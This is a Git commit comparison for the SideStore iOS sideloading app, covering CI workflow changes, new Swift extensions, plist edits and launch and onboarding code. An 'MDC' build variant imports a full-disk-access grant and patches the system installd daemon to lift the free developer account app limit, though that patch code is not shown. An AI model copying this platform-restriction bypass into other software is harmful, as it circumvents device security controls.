Compare commits
53 Commits
1d642e2ffa
...
naturecode
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8cb5b3d47d | ||
|
|
3d9c5ad890 | ||
|
|
6f14b6b046 | ||
|
|
c3f5d9f218 | ||
|
|
91d3a528a0 | ||
|
|
0fc8f3d72e | ||
|
|
a959dd73bb | ||
|
|
3c0995b5fa | ||
|
|
34bbe93b3d | ||
|
|
ff24ea81c9 | ||
|
|
18d251c364 | ||
|
|
2ff637f62e | ||
|
|
373a73c158 | ||
|
|
95e98a17bb | ||
|
|
8bd8ec8723 | ||
|
|
e7f766095a | ||
|
|
7e9aafe86e | ||
|
|
51f900a5bb | ||
|
|
02e63f2303 | ||
|
|
b45108e519 | ||
|
|
28ecca5ed0 | ||
|
|
742feed356 | ||
|
|
b8c12a1041 | ||
|
|
a6349198cf | ||
|
|
465c87d442 | ||
|
|
40c6d60138 | ||
|
|
7bb1c1cf05 | ||
|
|
175b5bec95 | ||
|
|
f69ad9830a | ||
|
|
3ee53e8c2b | ||
|
|
93ae81159e | ||
|
|
6a942a3971 | ||
|
|
5853aaa778 | ||
|
|
54703ddca3 | ||
|
|
ce90ae4195 | ||
|
|
026392dbc7 | ||
|
|
d2c15b5acd | ||
|
|
2219035cd0 | ||
|
|
a8917f095e | ||
|
|
3cab2e5d15 | ||
|
|
e2c5267d3f | ||
|
|
5709229fdf | ||
|
|
e1607d2f61 | ||
|
|
637a0354c5 | ||
|
|
9c3461b0c6 | ||
|
|
e3103b3034 | ||
|
|
2db073d2c5 | ||
|
|
e06cca8224 | ||
|
|
3a7cd29b22 | ||
|
|
093e21799f | ||
|
|
ad98ce43a9 | ||
|
|
7f39d010b2 | ||
|
|
b6c9797104 |
45
.github/workflows/beta.yml
vendored
@@ -27,6 +27,9 @@ jobs:
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
- name: Change default icon to beta icon
|
||||
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
@@ -39,14 +42,21 @@ jobs:
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
run: make fakesign
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -64,7 +74,9 @@ jobs:
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
prerelease: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
||||
@@ -83,14 +95,29 @@ jobs:
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
48
.github/workflows/nightly.yml
vendored
@@ -36,6 +36,12 @@ jobs:
|
||||
- name: Increase nightly build number and set as version
|
||||
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||
|
||||
- name: Change default icon to nightly icon
|
||||
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
- name: Enable unstable features
|
||||
run: make enable_unstable
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
@@ -48,14 +54,21 @@ jobs:
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
run: make fakesign
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -72,7 +85,9 @@ jobs:
|
||||
release: "Nightly"
|
||||
tag: "nightly"
|
||||
prerelease: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||
|
||||
@@ -90,17 +105,32 @@ jobs:
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
- name: Reset cache for apps.sidestore.io/nightly
|
||||
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||
|
||||
44
.github/workflows/pr.yml
vendored
@@ -27,6 +27,12 @@ jobs:
|
||||
env:
|
||||
COMMIT: ${{ github.event.pull_request.head.sha }}
|
||||
|
||||
- name: Change default icon to alpha icon
|
||||
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||
|
||||
- name: Enable unstable features
|
||||
run: make enable_unstable
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
@@ -39,26 +45,48 @@ jobs:
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
run: make fakesign
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
42
.github/workflows/stable.yml
vendored
@@ -39,14 +39,21 @@ jobs:
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
run: make fakesign
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: Convert to IPA
|
||||
run: make ipa
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -63,7 +70,9 @@ jobs:
|
||||
name: ${{ steps.version.outputs.version }}
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
## Changelog
|
||||
@@ -80,14 +89,29 @@ jobs:
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
4
.gitignore
vendored
@@ -36,8 +36,8 @@ xcuserdata
|
||||
.idea/
|
||||
|
||||
Payload/
|
||||
SideStore.ipa
|
||||
*.dSYM
|
||||
SideStore*.ipa
|
||||
*dSYM
|
||||
|
||||
Dependencies/.*-prebuilt-fetch-*
|
||||
Dependencies/minimuxer/*
|
||||
|
||||
@@ -18,6 +18,33 @@
|
||||
"version" : "4.4.2"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "asyncimage",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/AsyncImage",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "expandabletext",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/ExpandableText",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "inject",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/krzysztofzablocki/Inject.git",
|
||||
"state" : {
|
||||
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
|
||||
"version" : "1.2.3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "keychainaccess",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -36,6 +63,15 @@
|
||||
"version" : "4.2.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "localconsole",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "nuke",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -63,6 +99,15 @@
|
||||
"version" : "1.10.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "reachability.swift",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/ashleymills/Reachability.swift",
|
||||
"state" : {
|
||||
"branch" : "master",
|
||||
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "semanticversion",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -72,6 +117,15 @@
|
||||
"version" : "0.3.5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sfsafesymbols",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
|
||||
"state" : {
|
||||
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
|
||||
"version" : "4.0.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sparkle",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -98,6 +152,15 @@
|
||||
"branch" : "master",
|
||||
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "zipfoundation",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/weichsel/ZIPFoundation.git",
|
||||
"state" : {
|
||||
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
|
||||
"version" : "0.9.16"
|
||||
}
|
||||
}
|
||||
],
|
||||
"version" : 2
|
||||
|
||||
@@ -6,3 +6,7 @@
|
||||
#import "ALTAppPatcher.h"
|
||||
|
||||
#include "fragmentzip.h"
|
||||
|
||||
#ifdef MDC
|
||||
#import "grant_full_disk_access.h"
|
||||
#endif /* MDC */
|
||||
|
||||
@@ -10,6 +10,7 @@ import UIKit
|
||||
import UserNotifications
|
||||
import AVFoundation
|
||||
import Intents
|
||||
import LocalConsole
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
@@ -58,9 +59,19 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
|
||||
|
||||
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
|
||||
{
|
||||
// Copy STDOUT and STDERR to the logging console
|
||||
_ = OutputCapturer.shared
|
||||
|
||||
// Register default settings before doing anything else.
|
||||
UserDefaults.registerDefaults()
|
||||
|
||||
#if UNSTABLE
|
||||
UnstableFeatures.load()
|
||||
#endif
|
||||
|
||||
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
|
||||
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
|
||||
|
||||
DatabaseManager.shared.start { (error) in
|
||||
if let error = error
|
||||
{
|
||||
|
||||
13
AltStore/Extensions/Error+Message.swift
Normal file
@@ -0,0 +1,13 @@
|
||||
//
|
||||
// Error+Message.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/30/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
extension Error {
|
||||
func message() -> String {
|
||||
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
|
||||
}
|
||||
}
|
||||
19
AltStore/Extensions/Source+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Source+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension Source {
|
||||
var isOfficial: Bool {
|
||||
self.identifier == Source.altStoreIdentifier
|
||||
}
|
||||
|
||||
var isTrusted: Bool {
|
||||
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
|
||||
}
|
||||
}
|
||||
17
AltStore/Extensions/StoreApp+Filterable.swift
Normal file
@@ -0,0 +1,17 @@
|
||||
//
|
||||
// StoreApp+Searchable.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp: Filterable {
|
||||
func matches(_ searchText: String) -> Bool {
|
||||
searchText.isEmpty ||
|
||||
self.name.lowercased().contains(searchText.lowercased()) ||
|
||||
self.developerName.lowercased().contains(searchText.lowercased())
|
||||
}
|
||||
}
|
||||
15
AltStore/Extensions/StoreApp+SideStore.swift
Normal file
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// StoreApp+SideStore.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 4/9/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp {
|
||||
var isSideStore: Bool {
|
||||
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
|
||||
}
|
||||
}
|
||||
19
AltStore/Extensions/StoreApp+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// StoreApp+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp {
|
||||
var isFromOfficialSource: Bool {
|
||||
self.source?.isOfficial ?? false
|
||||
}
|
||||
|
||||
var isFromTrustedSource: Bool {
|
||||
self.source?.isTrusted ?? false
|
||||
}
|
||||
}
|
||||
45
AltStore/Extensions/UIApplication+SideStore.swift
Normal file
@@ -0,0 +1,45 @@
|
||||
//
|
||||
// UIApplication+SideStore.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/20/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
extension UIApplication {
|
||||
static var keyWindow: UIWindow? {
|
||||
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
}
|
||||
|
||||
static var topController: UIViewController? {
|
||||
guard var topController = keyWindow?.rootViewController else { return nil }
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
return topController
|
||||
}
|
||||
|
||||
static func alert(
|
||||
title: String? = nil,
|
||||
message: String? = nil,
|
||||
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||
leftButtonStyle: UIAlertAction.Style = .default,
|
||||
rightButtonStyle: UIAlertAction.Style = .default
|
||||
) {
|
||||
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
|
||||
if let leftButton = leftButton {
|
||||
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
|
||||
}
|
||||
if let rightButton = rightButton {
|
||||
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
|
||||
}
|
||||
if rightButton == nil && leftButton == nil {
|
||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
|
||||
}
|
||||
|
||||
DispatchQueue.main.async {
|
||||
topController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
22
AltStore/Extensions/View+Hidden.swift
Normal file
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// View+Hidden.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 2/18/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
// https://stackoverflow.com/a/59228385 (modified)
|
||||
extension View {
|
||||
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
|
||||
if hidden.wrappedValue {
|
||||
if !remove {
|
||||
self.hidden()
|
||||
}
|
||||
} else {
|
||||
self
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -14,7 +14,13 @@
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>http://ani.sidestore.io:6969</string>
|
||||
<!--
|
||||
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
|
||||
removes the rest of the line and makes the plist invalid. to get around this,
|
||||
we add a variable expansion ( $() ) in between the slashes that will ultimately
|
||||
evaluate to nothing, keeping the original URL while keeping the plist valid.
|
||||
-->
|
||||
<string>http:/$()/ani.sidestore.io:6969</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
@@ -204,7 +210,17 @@
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
<key>UISupportsDocumentBrowser</key>
|
||||
<true/>
|
||||
<key>UIFileSharingEnabled</key>
|
||||
<true/>
|
||||
<!--
|
||||
#if MDC
|
||||
-->
|
||||
<key>NSAppleMusicUsageDescription</key>
|
||||
<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
|
||||
<!--
|
||||
#endif
|
||||
-->
|
||||
</dict>
|
||||
</plist>
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
@@ -41,24 +42,49 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
override func viewDidLoad()
|
||||
{
|
||||
defer {
|
||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
let rootView = RootView()
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
self.destinationViewController = UIHostingController(rootView: rootView)
|
||||
} else {
|
||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
}
|
||||
}
|
||||
super.viewDidLoad()
|
||||
}
|
||||
|
||||
override func viewDidAppear(_ animated: Bool) {
|
||||
super.viewDidAppear(true)
|
||||
|
||||
#if MDC
|
||||
MDC.alertIfNotPatched()
|
||||
#endif
|
||||
|
||||
#if !targetEnvironment(simulator)
|
||||
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
|
||||
self.showOnboarding()
|
||||
return
|
||||
}
|
||||
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
|
||||
guard let pf = fetchPairingFile() else {
|
||||
displayError("Device pairing file not found.")
|
||||
self.showOnboarding(enabledSteps: [.pairing])
|
||||
return
|
||||
}
|
||||
start_minimuxer_threads(pf)
|
||||
#endif
|
||||
}
|
||||
|
||||
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
|
||||
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
|
||||
navigationController.isNavigationBarHidden = true
|
||||
navigationController.isModalInPresentation = true
|
||||
self.present(navigationController, animated: true)
|
||||
}
|
||||
|
||||
func fetchPairingFile() -> String? {
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
@@ -78,31 +104,8 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
|
||||
print("Loaded ALTPairingFile from Info.plist")
|
||||
return plistString
|
||||
} else {
|
||||
// Show an alert explaining the pairing file
|
||||
// Create new Alert
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
||||
|
||||
// Create OK button with action handler
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||
// Try to load it from a file picker
|
||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
||||
types.append(.xml)
|
||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
||||
documentPickerController.shouldShowFileExtensions = true
|
||||
documentPickerController.delegate = self
|
||||
self.present(documentPickerController, animated: true, completion: nil)
|
||||
})
|
||||
|
||||
//Add OK button to a dialog message
|
||||
dialogMessage.addAction(ok)
|
||||
|
||||
// Present Alert to
|
||||
self.present(dialogMessage, animated: true, completion: nil)
|
||||
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func displayError(_ msg: String) {
|
||||
@@ -153,8 +156,9 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
try start(pairing_file, documentsDirectory)
|
||||
} catch {
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||
